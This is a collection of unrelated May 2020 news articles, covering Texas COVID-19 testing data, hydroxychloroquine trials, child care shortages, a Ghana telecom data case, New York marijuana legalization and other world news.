Texas included tens of thousands of antibody tests in its daily reports on COVID-19, skewing the recent picture of the outbreak and the states response as it scrambled to ramp up surveillance of the outbreak.

About 49,000 antibody tests were included as of Wednesday, or 6.4 percent of all tests reported, according to updated data from the Department of State Health Services. Antibody tests dont track current infections, only people who have had and recovered from the disease.

Health experts advise against including the antibody tests with standard viral tests for the coronavirus because only the standard tests give a current snapshot of the outbreak. In Texas, the positive antibody tests are not included in the overall case count but have been used in the total number of tests. That created a slightly deflated positivity rate, or rate of confirmed cases to total tests.

The health department acknowledged earlier this week that antibody tests made up a small fraction of tests reported but only began distinguishing between them and standard viral tests Thursday.

FOR THE LATEST: Interactive maps, charts show spread of COVID-19 across Texas

With antibody tests now excluded, the positivity rate has been readjusted up  about half a percentage point for both Tuesday and Wednesday. The positivity rate has been a key measure for Republican Gov. Greg Abbott as he reopens more of the state.

The rate was 5.4 percent as of Wednesday, up a bit from earlier in the week, according to the state data.

Diana Cervantes, who directs the epidemiology program at the University of North Texas Health Science Center, cautioned that the lower positivity rate is likely at least in part because its easier for people who arent showing symptoms to get tested.

If you look at the peak on the 13th of April, Im sure that represented people who had signs and symptoms, she said, referring to when the rate was at nearly 14 percent. Whereas you look at it now, the people being tested may have had symptoms, it may be people who have been exposed, it may be mass testing of vulnerable populations  its a much broader group. That alone will drive down the percent positivity.

TEXAS TAKE: Get political headlines from across the state sent directly to your inbox

When asked about the issue during a news briefing Monday, Abbott insisted that the antibody tests were not being included in the official counts. A spokesman later clarified that he was talking about them being separated going forward.

The governor has since said some counties needed time to separate out the antibody results from their overall counts.

Officials in Taylor County, in West Texas, said in a Facebook post this month that the state health department had instructed them May 6 to remove all antibody cases from their official counts. That day, they removed 82 positive results from antibody tests.

The officials in Taylor County explained that there hadnt been clear guidance previously from the Centers for Disease Control and Prevention about whether to include the antibody results.

Even with the changes, the state still appears to be nearing Abbotts goal of completing 30,000 tests per day. In the past six days, the state has averaged nearly 25,000 daily tests.

Abbott stressed again this week that hospitalizations are holding steady across the state and that there is plenty of manpower and medical resources to respond to isolated surges as the state reopens further.

Weve never had any challenges with regard to limited hospital capacity, with ventilators, with the ability to treat people who have tested positive for COVID-19, he said in a TV interview.

Abhi Rahman, a spokesman for the Texas Democratic Party, said in a statement that Texans dont feel safe, and manipulating the data isnt going to help Texans feel comfortable going outside. We must increase our testing capacity and follow the advice of doctors and experts, or we will be hit with a devastating second wave.
Queen Elizabeth II is still in self-isolation due to the coronavirus pandemic. However, although she hasn't been seen in public lately, the Queen is still working behind closed doors.

Keeping The Faith

As everyone tries to ease into the new normal, Queen Elizabeth II has found strength in her faith. Even though she is saddened by the fact that she isn't able to worship like she used to, the Queen is holding on to her Christian faith to sustain her through the challenging times.

According to royal historian and biographer Robert Lacey -- author of the books "Majesty" and "Monarch" -- the Queen may be feeling effects of the crisis, but she is not one to back down to the challenge.

"She feels the poignancy, but that does not turn into depression or defeat," Lacey said. "She sees it in the bigger context of her religious faith and of a God who holds her and her family in his hands. It is the solid and simple faith that sustains the Queen."

It is this faith that brings the Queen comfort and relief at this time. While she may be missing out on a lot of her favorite activities this year, Her Majesty remains calm in isolation.

Those who are close to the Queen said that she must be missing the feel of walking to church with friends and family. However, her faith won't be affected by that, even as she isolates with her husband Prince Philip in their 100-year-old Windsor Castle.

Of course, like everyone else, Queen Elizabeth II looks forward to the day when she could go out and be with the people again.

Queen's Crisis

The coronavirus does not have a particular victim in mind. Anyone can be infected by it, even the members of the royal family. However, aside from the health scare and obvious personal effects it caused and may further cause, the pandemic is also expected to make the economy suffer.

Sure enough, the royal family is no excpetion to the devastating effect of COVID-19.

According to the recent memo released by the Head of the Royal Household, Lord Chamberlain Earl Peel, the staff has been warned of the limited cash flow within the Palace as much of its income is dependent on the visitors that come for the royal attractions.

As everyone is advised to stay home and adhere to the protocols for the lockdown, the forced closure of the royal attractions -- including Buckingham Palace -- has caused a huge dent in the monarchy's expected profit. The tour of the staterooms used for ceremonial occasions of the state usually costs $32 per visitor.

"The crisis has already tested our resilience, adaptability, and preparedness in many ways and at all levels across the organization. It has also had a significant impact on the activities of the whole royal household," the memo stated, as reported by Express U.K.

"We must, therefore, assume it could still be many weeks, if not months before we are able to return to business as usual."
In recent weeks, the United States' President Donald Trump has repeatedly touted the anti-malarial drug hydroxychloroquine as a possible treatment for the COVID-19 pandemic. His embrace of the drug, which he claims to be taking daily, resulted in an uproar across multiple media platforms. The publicity surrounding the drug has reportedly interfered with scientific research into whether it works in preventing or treating the virus.

What is Hydroxychloroquine?

The anti-malaria drug was developed to prevent and treat malaria. The medication is also widely used to treat auto-immune diseases, including lupus and rheumatoid arthritis. It helps reduce skin problems caused by lupus and prevent inflammation caused by arthritis.

The medication may induce side effects such as nausea, vomiting, diarrhea, dizziness, or headache. Serious side effects may include slow heartbeat, symptoms related to heart failure, mental changes, easy bruising, signs of liver disease, hair loss, and skin color changes.

Hampered Opportunity

Dr Jon Giles, an epidemiologist and rheumatologist at Columbia University, said they were now experiencing difficulties in finding people willing to enrol in the hydroxychloroquine trials. According to the researcher, many of the potential participants cite the ongoing political wrangling on the drug.

In March, lupus patients were having difficulties filling out their prescriptions due to the massive demand for the anti-malaria drug.

In April, however, the U.S. Food and Drug Administration issued a warning about ingesting the drug without proper medical supervision in a hospital or trial. The federal agency revealed they received reports of severe heart-related events and deaths in coronavirus patients who were treated with the anti-malaria drug.

The political clash has led many participants to back out in fear, even if it is done in a carefully run clinical trial. "It became almost impossible to get anyone interested," Giles said.

Other researchers such as Dr Deneen Vojta of the United Health Group also reported a depressing enrollment in their clinical trials. Members of different research groups drafted a letter to the Journal of the American Medical Association where they complained that the negative media coverage of the drug had affected the drop in enrollment in trials run by several American institutions.

COVID-19 Treatment

According to recent studies, the drug has shown no benefit for COVID-19 patients; some say they may have contributed to several deaths.

A small study in Brazil was suspended after patients started developing irregular heart rates that could potentially develop into fatal heart arrhythmia. The clinical trial involved 81 hospitalized patients in Manaus. According to the findings, the patients who received a higher dosage developed arrhythmias within three days. On the sixth day, 11 had died.

In the report published in the New England Journal of Medicine, researchers analyzed the outcomes of over 1,370 patients of whom more than half received dosages of hydroxychloroquine. More than 32 percent of the hydroxychloroquine-treated patients experienced intubation or death.

The researchers concluded that there was no significant difference in risk for the endpoint. The results of the studies conducted in the United States were supported by trials conducted at 16 centers in China. Findings from a study performed in France also supported the lack of benefit the drug has for people infected with COVID-19.

Want to read more? Check these out:
Source: Xinhua| 2020-05-23 05:56:53|Editor: huaxia

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UNITED NATIONS, May 22 (Xinhua) -- UN Secretary-General Antonio Guterres on Friday called for solidarity and unity in the context of the COVID-19 pandemic in his Eid message.

"Our world is like one body. As long as one part is affected by this virus, we all are affected. Now more than ever, solidarity and unity must be our leading principles," he said in an interactive discussion with member states representing the Organization of Islamic Cooperation ahead of Eid al-Fitr, which falls on this Sunday.

He called for solidarity for a large-scale, coordinated and comprehensive health response, guided by the World Health Organization, with a focus on developing countries and vulnerable people.

He called for solidarity in tackling the devastating socio-economic dimensions of the crisis -- keeping households afloat and businesses solvent, and prioritizing the most affected: women, older people, children, low-wage earners and other vulnerable groups.

He called for solidarity for peace and solidarity in speaking out against the rise in ethno-nationalism, stigma and hate speech targeting vulnerable communities and exacerbating suffering.

He called for solidarity to ensure that the recovery from the crisis leads to more equitable, inclusive and sustainable economies and societies that are stronger and more resilient.

"As millions of Muslims around the world celebrate, let us draw from the many Ramadan lessons of mercy and compassion, of dignity and rights, of mutual respect and understanding, of unity and solidarity. Let us recognize, above all, that we are indeed one body. One world. And one United Nations," he said. Enditem
The reopening plan that Massachusetts Gov. Charlie Baker announced this week won't help Elle Balabanis get back to work any time soon.

Balabanis, a sales representative for a biomedical company, had to slash her hours when her 4-year-old's day care in Newton, Massachusetts, shut down in March. Baker has closed child care centers for everyone but essential workers until the end of June and the state is still developing guidelines on how to open them back up.

Until her day care can operate again, the 42-year-old single mom will have to sacrifice work to watch her child, regardless of her state loosening other lockdown guidelines. "I'll be as aggressive as possible at home over the phone," Balabanis said, "but I'm going to see a decline in pay if I can't actually go into the field and recruit new business."

As states around the country attempt to restart their economies, lack of child care will continue to keep some people-mostly women-from getting back to work. The country was already facing a day care shortage before coronavirus forced 60% of centers to close, according to a survey by the Bipartisan Policy Center. Only 27% said they could survive a closure of a month. Even with state and local restrictions on businesses easing, lack of demand due to millions of parents working from home and millions more out of work means many will never reopen.

Before coronavirus quarantines and lockdowns, 2 million parents made career sacrifices due to lack of adequate or affordable child care, a 2016 study by the Center for American Progress found. Women disproportionately take the hit. Even in two-parent households in which both parties work full time, mothers perform the majority of child-rearing duties, according to Pew Research.

During the pandemic this divide has been exacerbated. A survey from the Boston Consulting Group found working mothers are now spending 65 hours per week on child care and household duties, 15 hours more per week than fathers. Almost half of the parents surveyed said their ability to perform at work had decreased because of these additional responsibilities.

Adelina Parker is one of those people. The 24-year-old has cut back her hours as a project manager at a family-run construction company to take care of her 5-month-old son. She's also shelved a side business planning events. "It's not sustainable to be feeding your baby in one arm and trying to conduct a conference call in the other," she said. Parker's husband works for a heating and air conditioning company that has kept operations open throughout the pandemic, so she had no choice but to step in.

In Utah, where the Parkers live, many child care providers never shut down, but a quarter of licensed centers still remain closed, even as other parts of the state's economy open up. After a seven week maternity leave, Parker had been taking her baby to work, but had hoped to find something more permanent soon. Now those options are limited.

"The pandemic has focused the nation's attention on the fact that access to child care is a really critical part of our economic health," said Ami Gadhia, the policy chief for Child Care Aware, an industry advocacy group. She added that without emergency funding many providers will be forced to close permanently, citing a survey from the National Association for the Education of Young Children that estimates up to 63% of the industry will go out of business without help from Congress.

Kaitlin Robbins, a Denton, Texas-based fitness instructor with a 10-month-old, worries when she's called back to work she'll have to make a tough choice. If the studio where she works reopens before her day care, she'll either have to quit working or put her daughter "into a program I'm not super comfortable with," Robbins said. "And if I don't find child care, I have to figure out if my job will still be there in six months."

For now, some parents are seeking alternative solutions. UrbanSitter, an app that connects parents with nannies and sitters, has seen user spikes in cities that have eased social distancing measures, like Dallas, Houston and Orlando. "I think we're going to see parents opting out of preschool or day care and try to find one dedicated person to work for either just their family or a couple of families," said Lynn Perkins, UrbanSitter's chief executive. The app has seen an uptick in families banding together to hire dedicated sitters amid safety concerns at larger facilities.

Others, like Kathleen Vobril, have turned to family for help. After spending the first few weeks of the pandemic juggling work and watching two kids, Vobril, the director of digital marketing for parts manufacturer Blount International, and her attorney husband asked her parents to move in with them. "Our situation was impossible," she said. "We had to figure something out." Even as things start to open up in Portland, Oregon, where the couple lives, Vobril isn't sure she'd send their kids back to day care any time soon.

These realities mean that, like many businesses, child care providers face the prospect of fewer customers, which may not be sustainable. Already a low margin business, many centers won't be able to operate at half-capacity, potentially resulting in even more closures and even fewer options for working parents.

Great Bear Childcare in Phoenix, New York, stayed open for essential workers' kids, but is still down to less than half its usual capacity. Amy Boyzuck, the owner and director, managed to keep afloat and 4 of her 6 full-time employees on payroll with the help of a Payroll Protection Program loan. "If we hadn't stayed open I don't think we'd be able to reopen," she said.

On Monday, Great Bear began readmitting some of its former students. Boyzuck is hopeful for a return to normal capacity by mid-June or early July, but she's aware that may not last very long.

"Coronavirus isn't gone, and it isn't going to be gone for a while," she said. "For now we're just playing it by ear."
Korea faces risks from superpower rivalry



South Korea is carefully watching a new U.S. initiative aimed at sidelining China from global supply chains in the wake of the escalating confrontation between the two superpowers over the origin of the COVID-19 pandemic. Seoul is taking a cautious approach to Washington's push for the "Economic Prosperity Network" (EPN) which is still at an initial stage.



Yet the country cannot help but worry about the envisioned network described as an alliance of "trusted partners." The reason is because the U.S. indicated that South Korea could be among its targeted members of the network. This indication could be seen as U.S. pressure on its Asian ally to join the initiative apparently designed to isolate China and reduce its global dominance.



Korea seems to feel that it is increasingly forced to choose between the U.S. and China. As things stand now, it is difficult to make such a choice because Korea is dependent on America for its defense and security, while relying on China for economic growth. For this reason, Seoul has been trying to walk a fine line between the G2 countries.



Against this background, the creation of the U.S.-led economic bloc to contain a rising China is a serious cause for concern on the part of Korea. A Seoul official said that the Moon Jae-in administration has no "conclusive" position on the U.S. initiative as it is still in the planning stages. But it was reported that the two countries have already exchanged broad ideas about the EPN.



Korea's semi-official Yonhap News Agency quoted Keith Krach, undersecretary of state for economic growth, energy and the environment, as saying that officials of both countries talked about the initiative during their Senior Economic Dialogue (SED) in Seoul last November. On Wednesday, Krach also said the EPN consists of like-minded countries, companies and civil societies that will operate under "democratic values."



His remarks seemed to imply that the initiative is part of the U.S. policy of containing China not only in trade and economically, but also in diplomacy and security. The EPN plan is taking more concrete shape, especially in the face of the novel coronavirus which originated in the central Chinese city of Wuhan in December. The pandemic appears to have provided further momentum for the initiative because the U.S. has suffered from the disruption of global supply chains due to COVID-19.



But the Trump administration is giving the impression that it is taking advantage of the global public health crisis to trigger a new Cold War with China. Recently he even threatened to cut off ties with China. The Commerce Department also announced new restrictions to deny Huawei, China's maker of network equipment and smartphones, access to key U.S. semiconductor technologies.



The raging superpower rivalry may pose a risk to South Korea because it could be caught in the crossfire. It reminds Koreans of China's economic retaliation against Seoul's decision to allow the U.S. to deploy its anti-missile battery here in 2017. Thus the Moon administration should work out new strategies to avoid any possible entanglements in the rising U.S.-China conflict. This is no easy task. But we cannot be a victim of a new Cold War.


Source: Xinhua| 2020-05-22 10:33:02|Editor: mingmei

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BEIJING, May 22 (Xinhua) -- Chinese lawmakers started deliberating a draft civil code Friday at the annual session of the country's national legislature.

Wang Chen, vice chairman of the Standing Committee of the National People's Congress (NPC), read an explanatory document on the draft civil code to deputies attending the third session of the 13th NPC. Enditem
Russian Su-57 Fighter Passes State Tests, Fulfilling Set Requirements

Sputnik News

03:50 GMT 21.05.2020(updated 05:39 GMT 21.05.2020)

Earlier in 2019, the Russian Defence Ministry ordered 76 Su-57 jets during the International Military and Technical Forum. The jets are capable of tackling all types of air, ground or naval surface targets.

Deputy Prime Minister Yury Borisov confirmed that the Russian Su-57 fighter has fulfilled almost all set requirements while passing the state tests.

"During the state tests, the Su-57 fighter has completely confirmed almost all the requirements of the performance specification. The state contract on the delivery of 76 planes for three air regiments of the Aerospace Forces is being implemented in line with the supply schedule," Borisov said in an interview.

The Sukhoi Su-57 (formerly known as PAK FA, or T-50) is a fifth-generation jet that performs the functions of a strike aircraft and a fighter. The plane is capable of destroying all types of air, ground and naval surface targets, and is also highly maneuverable and equipped with modern avionics. It completed its first flight in 2010.

The Russian Ministry of Defence ordered 76 Su-57 fighters during the Army-2019 International Military and Technical Forum, having repeatedly said that Su-57 had done well during tests in Syria. Currently, trials are ongoing, checking on system function and the second engine's work regime.

The jet was improved based on the results of work done by the committee investigating the crash of a Su-57 jet in 2019 during a test flight. The crash took place on 24 December, and the pilot ejected safely.

A Sputnik

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Almost two months after the lawyers' chambers were locked due to COVID-19 pandemic, the Supreme Court has come out with a good for advocates saying now they can access their offices in the premises from 10 AM to 4 PM on alternate week days based on the odd-even scheme.

The apex court has been hearing only urgent cases through video-conferencing during the lockdown from March 25 and had ordered sealing of lawyers' chambers inside the premises on the evening of March 24.

The top court, after taking note of recent representations of lawyers' bodies, Supreme Court Bar Association (SCBA) and the Supreme Court Advocates-on-Record Association (SCAORA), on Thursday decided to come out with fresh guidelineson entry of persons into Lawyers' Chamber Blocks here.

To avoid over-crowding inside the Lawyers Chamber Blocks, in terms of the prescribed social-distancing norms, the SCBA and SCAORA may jointly prepare and circulate plan detailing the 'Odd-Even' Chamber Numbers of every Block, which would alternately open on Weekdays (Monday to Saturday) indicating therein the maximum number of persons who may access any Chamber at any point of time, the circular said.

The Lawyers Chamber Blocks would follow the timings 10 AM to 4 PM (Monday to Friday, except holidays) and 10 AM to 2 PM (Saturday, except holidays), followed by sanitisation of the Blocks; on Sundays and holidays, the Blocks will remain closed for deep cleaning and sanitization, the apex court said.

Making wearing of masks mandatory for all entrants, the apex court said only the member lawyers and their staff can be allowed entry into the chambers blocks on production of proximity card or letter of authority and they will have to undergo thermal-screening.

The circular asked the SCBA and SCAORA to arrange for the thermal screening and filling up of self-declaration forms by all the entrants and made clear that the entrants who are found symptomatic during the thermal screening shall be denied entry into the Blocks.

The Supreme Court shall refuse entry into any Block on non-compliance of the condition, the circular said, adding that it would be mandatory to use stairs while coming downstairs from lawyers' chambers.

There will be a single-entry point to every chambers' block fitted with hand-sanitizer machine provided by the apex court registry and manned by the SCBA or SCAORA authorisedpersonnel, it said.

The SCBA/SCAORA may inform the Members (lawyers) and their staff that operation of air-conditioning machines in chambers may raise health-concerns in the prevalent pandemic-situation, it said.

Recently, the apex courtdecided to postpone its summer vacation by five weeks and declared that it would remain functional from May 18 to June 19.

The top court said that it will hear all cases via video and audio links between May 18 and June 19 and its ''1881'' helpline to assist advocates and litigants in e-filing and virtual hearing would remain functional from 10 AM to 5 PM under supervision of senior officers during the week.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
An 80-year-old man allegedly set



his son ablaze, leaving him struggling for life in a hospital, over a land dispute in Nagpur, police said on Friday.

The incident took place in a farm in Narkhed area on Thursday evening, an official said.

"Manikwada resident Ramchandra Dawre poured petrol on his son Yuvnesh (45) and set him ablaze. He is seriously injured and is critical. The senior citizen has been charged with attempt to murder," the Narkhed police station official added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
In a study led by Miguel Angel Gonzalez Ballester, ICREA research professor with the DTIC in collaboration with Eduard Gratacos and Elisenda Eixarch, researches at the BCNatal-Barcelona Center for Maternal-Fetal and Neonatal Medicine

Twin-to-twin transfusion syndrome (TTTS) occurs in around 10-15% of pregnancies with twins that share the same placenta. Typically, this syndrome appears before 24 weeks' gestation due to abnormal vascular communications located on the surface of the placenta. As a result, blood circulation is not balanced between the two twins, dramatically decreasing their chances of survival.

Fetoscopic laser photocoagulation is the most effective treatment for this syndrome and it consists of closing abnormal vascular connections located on the surface of the placenta to completely separate the circulation of blood to the two twins, thus preventing complications related to blood flow imbalance, such as death by cardiac overload, premature delivery and miscarriage.

The manoeuvrability of the fetoscope inserted through the uterine wall of the mother and the ability to burn all vessels that require sealing depends on the proper selection of the fetoscope entry point on the surface of the intrauterine cavity. Planning the best insertion point before the operation requires a good understanding of the patient's anatomy, which can be achieved using a virtual representation of the mother's uterus, via magnetic resonance imaging.

A study recently published in the advanced online edition of the journal IEEE Transactions on Medical Imaging presents the first automatic method to detect and segment the intrauterine cavity via three views (axial, sagittal and coronal) of the MRI by means of artificial intelligence and deep learning techniques.

A study conducted by Miguel Angel Gonzalez Ballester, ICREA research professor with the Department of Information and Communication Technologies (DTIC) at UPF, with Jordina Torrents-Barrena, first author of the study, Gemma Piella and Mario Ceresa, members of the UPF BCN MedTech Unit. Eduard Gratacos and Elisenda Eixarch, members of the Fetal i+D Fetal Medicine Research Center, BCNatal-Barcelona Center for Maternal-Fetal and Neonatal Medicine (Hospital Clinic and Hospital Sant Joan de Deu), IDIBAPS, are co-authors of the study and responsible for the clinics.

"The methodology presented uses neural networks based on the new paradigm of capsules to successfully capture the interdependency of the anatomy present in the MRI, particularly for unique class instances (anatomies), such as the intrauterine cavity and/or placenta", explains Jordina Torrents-Barrena, first author of the paper.

"The method designed is based on a reinforcement learning framework that uses capsules to delimit the location of the uterus. A capsule architecture is subsequently designed to segment (or refine) the whole intrauterine cavity", Torrents-Barrena adds. The latter network encodes the most discriminatory and robust features in the image.

The proposed method is evaluated by 13 performance measures and is also compared to 15 neural networks that have been previously published in the literature. "Our artificial intelligence method has been trained using magnetic resonance imaging from 71 pregnancies", Torrents-Barrena affirms.

"Having a three-dimensional representation allows us to evaluate different entry points and choose the one that offers the best visibility of all placental vessels with the slightest movement", comments Elisenda Eixarch, co-author of the study. "Undoubtedly, the application of this technology will allow us to move towards safer, more precise surgery", she adds.

On average, the methodology presented obtains a segmentation performance of over 91% for all tests and comparisons, highlighting the potential of this approach for use in the daily clinical practice as a surgical planning method.

###
A 17-year-old wife accused of killing her husband as he tried to have sex with her in Bauchi has said she had no idea sex is a marital obligation, so she thought her husband was trying to defile her.

Salma Hassan, a resident of Itas-Gadau, was paraded at the Bauchi Police Command on Tuesday, May 19, for stabbing her husband to death 11 days after their wedding.

She told journalists that when her husband approached her for sex that night, she thought what he was doing was wrong, so she objected. However, her husband beat her and tried to force himself on her. She said she then picked a knife to scare him but mistakenly stabbed him with it.

She said: We were married. We loved each other.

I never knew that sex is a marital obligation. On that fateful night when he approached me for sex, I refused him because I have never been involved in it. I thought he wanted to defile me.

He later got angry and was trying to force himself on me with slaps and beating, then I picked up a knife to scare him away but he kept coming. I didnt know when I stabbed him with the knife in his chest.

I have already given my statement. Im in great suffering. Im in great bitterness. I dont know what will happen to me now. But I wouldnt have done what I did if I knew better.

According to a Police statement, a knife was recovered when they arrested Salma for culpable homicide at her home in Itas-Gadau.

On the 24/04/2020 at about 0900hrs, one Haruna Musa m of Itas-Gadau reported at Itas-Gadau Division, that one Salma Hassan f 18yrs of the same address stabbed her husband, one Mohammed Mustapha on the chest. As a result, he sustained serious injury and was rushed to General hospital ItasGadau for treatment where he was certified dead. The suspect was arrested and has confessed to the crime. Exhibit recovered from the suspect was one knife, the statement reads.
YPSILANTI, Mich.  President Donald Trump, a self-described billionaire, covets a hot supercar built by Ford that starts at approximately $750,000.

"I want to buy one, but then I heard the price," Trump said smiling.

It was a carbon edition 2020 Ford GT.

These remarks to the national press corps followed a factory tour with the Dearborn auto company's executive chairman, Bill Ford Jr., and Ford CEO Jim Hackett.

"Bill was showing me some of those cars, it's incredible," Trump said. "I wanted to buy one, then I heard the price. I said forget it. I said I'll use one on occasion. But what a car that is, huh? What a car."

Mask predicament: Ford 'encouraged' Trump to wear mask during factory tour, but it came off for the cameras

Gasoline prices: Cities with cheapest gas now have prices below $1.50 per gallon

Trump, in Ypsilanti to tour the Rawsonville Components Plant now making ventilators as part of the campaign to fight COVID-19, also highlighted the "Built Ford Tough" campaign and considered the idea of "Built Trump Tough."

Behind the scenes

Bill Ford Jr., executive chairman of Ford Motor Co., points to a collection of Ford GT vehicles while talking with President Donald Trump during his visit to the Rawsonville plant in Ypsilanti on May 21, 2020. Mark Meadows, White House chief of staff, is standing in the middle.

White House officials told the Ford team that the president recently saw the Hollywood blockbuster "Ford v Ferrari" and was interested in seeing the Ford GT cars. So Ford arranged to have three vehicles at the plant during the visit, one from the Le Mans era, one from 2005-06 and a 2020 GT, said Mark Truby, Ford chief communications officer.

Right when the president arrived at the plant, before any public events, Trump and Bill Ford Jr. talked about the race cars.

"Bill personally showed the president the GTs and was able to recount some stories about Ford at Le Mans and the development of the vehicles," said Truby, who was in earshot of the conversation

The president came in, Truby recalled. "The subject of a face mask came up. Bill said it would be great if you could wear one. Trump then retrieved one from his personal staff with a White House seal on it, and then they proceeded to visit."

Trump and Ford talked about the vehicles, about Le Mans and Ford returning to famous 24-hour race in France. He was intrigued by the 2020 Ford GT.

Story continues

"At one point, the president asked how much one would be. ... It was just a fun moment," Truby said.

Trio of Ford GT40 Mk IIs cross finish line at Le Mans 1966

People can be on a waiting list for up to two years. Owners include movie stars, entrepreneurs and professional athletes including former Detroit Tiger Justin Verlander, now a pitcher with the Houston Astros.

Ford GT facts

Facts about the hot little 2020 Ford GT two seat mid-engine supercar from Ford:

Production is limited to just 1,350 vehicles, to be built between 2017 and 2022

For 2020, GT starts at just over $500,000. Customers may customize from there

The limited-edition GT Liquid Carbon model starts at approximately $750,000

For 2020, GTs top speed is 217 mph and it has 660 horsepower

The body is entirely carbon fiber and powered by a 3.5-liter EcoBoost engine

"The current GT in a race car version won the 2016 24 Hours of Le Mans endurance race, 50 years after Ford swept 1-2-3 at the 1966 24 Hours of Le Mans, becoming the first American car to do so," according to Ford. "This is what the movie 'Ford v Ferrari' is based on."

Follow Phoebe Wall Howard on Twitter @phoebesaid.

Ford GT: Raj Nair, fired from Ford, now leads company that builds $450K Ford GT

This article originally appeared on Detroit Free Press: Trump wowed by Ford GT supercar during visit to Michigan
Tripura Chief Minister Biplab



Kumar Deb on Friday said his government is expecting Rs 4,802.88 crore from the Rs 20 lakh crore fiscal stimulus package announced by Centre.

"We have estimated probable benefits from all segments which would be covered under the package and is expecting Rs. 4,802.88 crores under five major heads. We expect to earn nearly Rs 2000 crore only from agriculture and agri-allied sectors", Deb told reporters at the civil secretariat.

Different sectors which would receive stimulus are industries, entrepreneurs, direct support to farmers and rural economy, support to urban poor, agricultural support, upgradation of industrial infrastructure, increased MGNREGA allocation and increase in borrowing limit, he said.

Deb said, "We are expecting to receive major grants from the package in credit support to new kisan credit card holders, liquidity support to farmers, collateral free loans to businesses including MSMEs, payments to DISCOMs, increase in borrowing limit, and upgradation of industrial infrastructure like a forthcoming Special Economic Zone (SEZ) at Sabroom in South Tripura."



Centre has recently sanctioned an SEZ at Sabroom, the southern-most sub-division in South Tripura district bordering Chittagong division of Bangladesh.

"Agriculture sector is our priority. We want to empower peasants in our state and have decided to generate awareness among them how they could benefit from the package. Support to 1.42 lakh farmers having new Kisan Credit Cards is likely to bring a new revolution. It would be our endeavour to ensure beneficiaries get awards", he said.

He said, the Central governments decision to revise labour laws and increase working hours from 12 to 13 hours per day is necessary to revitalize the economy damaged due corona virus induced lockdown for the time being.

"We are not going permanently with the revised labour law. Our tax revenue collection has fallen to 20 per cent in the last three months and share of taxes have fallen by 30 per cent in recent times and we need to revitalize our economy", he said.

Deb said, "Prime Minister Narendra Modi wants to boost industrialization in the North-East. Many companies have started leaving China and we would like to woo some of those investors in our state, especially in fruit processing sector".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
MTN has mounted a fierce defence for the rights of the over 15 million persons who subscribe to its communication network and other services.

The defence was contained in an affidavit that the telecommunication giant filed in a case at the Human Rights High Court in Accra on May 20, 2020.

[We are] aggrieved by the attempt of [Kelni GVG] to use the opportunity of the pandemic and the EI to obtain data which is not required by the EI and has no relevance to the stated purpose of the law i.e. COVID 19 contact tracing, MTNs affidavit stated.

On April 6, 2020, Mr Francis Kwarteng Arthur, a private legal practitioner, went to the High Court to challenge the Presidents order contained in Executive Instrument (EI) Number 63 and the manner in which the order was being implemented.

The EI 63 orders all telecommunication network and service providers to hand over the personal information of all customers and subscribers to the President.

According to the EI, there is an urgent need to establish an emergency communication system to trace all contacts of persons suspected of or actually affected by public health emergency and identify the places visited by persons suspected of or actually affected by a public emergency.

The personal information to be collected includes the raw subscriber mobile money transfer data and mobile money merchant codes and addresses. Subscriber cell reference data and other call particulars will also be collected.

However, in a written submission filed at the Cour presided over by Justice Stephen Oppong, the petitioners lawyers argued that a measure which seeks to suspend the privacy rights of over 10 million personsall in the hope that some few hundred may be traced, does not only amount to using a sledgehammer to kill a mosquito, but also unashamedly disproportionate and, thus, unreasonable.

The defendants to the case are Vodafone Ghana, MTN Ghana, Kelni GVG, the National Communication Authority and the Attorney-General. While Vodafone is yet to file a response, the Attorney-General insists that Mr Francis Arthurs petition is misconceived and without merit and ought to be dismissed.

The presiding judge, His Lordship Justice Stephen Oppong, one of the newly appointed Justices of the High Court, meanwhile has adjourned the case to June 23, 2020, when he will give his ruling on a motion for an interlocutory injunction to restrain the government from collecting the information pending the determination of the case.

---starrfmonline
Has Daniel Andrews gone too far with China? Is Victoria now too dependent on China, more so than other states? Does Victoria have a "special" relationship with the Chinese government, and what does it mean if we do?

Has Daniel Andrews gone too far with China? Credit:JAMES ROSS

Even the most casual observer will be aware that our CBD is heavily populated by Chinese students and that our tertiary institutions have become reliant upon them. Our property boom is fuelled in part by Chinese investors, and across regional Victoria Chinese firms have sought prime assets in dairy, wine, beef and wool. Inbound Chinese tourism has boomed. More Chinese tourists visit the Great Ocean Road than the Barrier Reef. Even the AFL is in on the act.

In October 2018, Andrews signed a Memorandum of Understanding with China on the Silk Road Economic Belt and the 21st Century Maritime Silk Road Initiative. Universally called the Belt and Road Initiative it has seen trillions of yuan invested across the world, from building freight ports in Sri Lanka to railways in Central Asia. Post C-19 you will be able to ride a train all the way from China through the 'stans into Turkey and directly into Europe.

There is nothing secret about the MoU. It is freely available on the Premier's website. Reading it is of little help as it is a recital of diplomatic talking points and intentions with no substance or detail.
With New York facing at least a $10 billion budget gap this fiscal year, some state lawmakers are looking for something green to help solve the problem: weed. Legalizing marijuana would create a new source of tax revenue to help offset fallout from the coronavirus pandemic. But even if the Legislature managed to pass this complicated legislation in the waning days of session, it wouldnt remedy more immediate fiscal dilemmas.

State Sens. Jessica Ramos, Brad Hoylman and Jamaal Bailey joined with the Legal Aid Society to call for the passage of recreational marijuana legalization to create a new revenue stream for the state. Its not enough to say the state doesnt have money. We have to find it, Ramos told the New York Post. I believe legalizing marijuana can help.

But most of the measures progressive backers have previously called for dedicating the revenue stream from taxing legal pot to investing in communities of color that have been disproportionately harmed by the drugs prohibition  a stance Legal Aid reaffirmed in its recent press release on the subject.

What specifically to do with revenue has long been a sticking point between these advocates and their allies in the Legislature and Gov. Andrew Cuomo. Social justice and racial equality advocates want much of the tax revenue dedicated to specific communities, whereas Cuomo has wanted to keep the money a little more flexible by not including dedicated funding streams within the bill language. That issue was not resolved during this years budget season, and there is no indication that anything has changed since then.

The last day of the legislative session is currently set for June 2, so that lawmakers can return to their districts and prepare for primary elections on June 23. But they havent met since they passed the budget on April 3, nor have they acted on any legislation since then either, despite continuing to collect their six-figure salaries. The state Senate is reportedly meeting next Tuesday and Wednesday. NY1 reported they plan to take up 12 coronavirus-relief bills. It seems unlikely that pot is on that agenda.

Cuomo on Friday also poured cold water on the prospect of raising revenue through legalization. When asked about the prospect at a press conference, the governor reiterated his support for legalization, but said we didnt get it done this last session, implying that it was too late to pass it this year. (The New York state Legislature does not bother to meet at all in the second half of the year.)

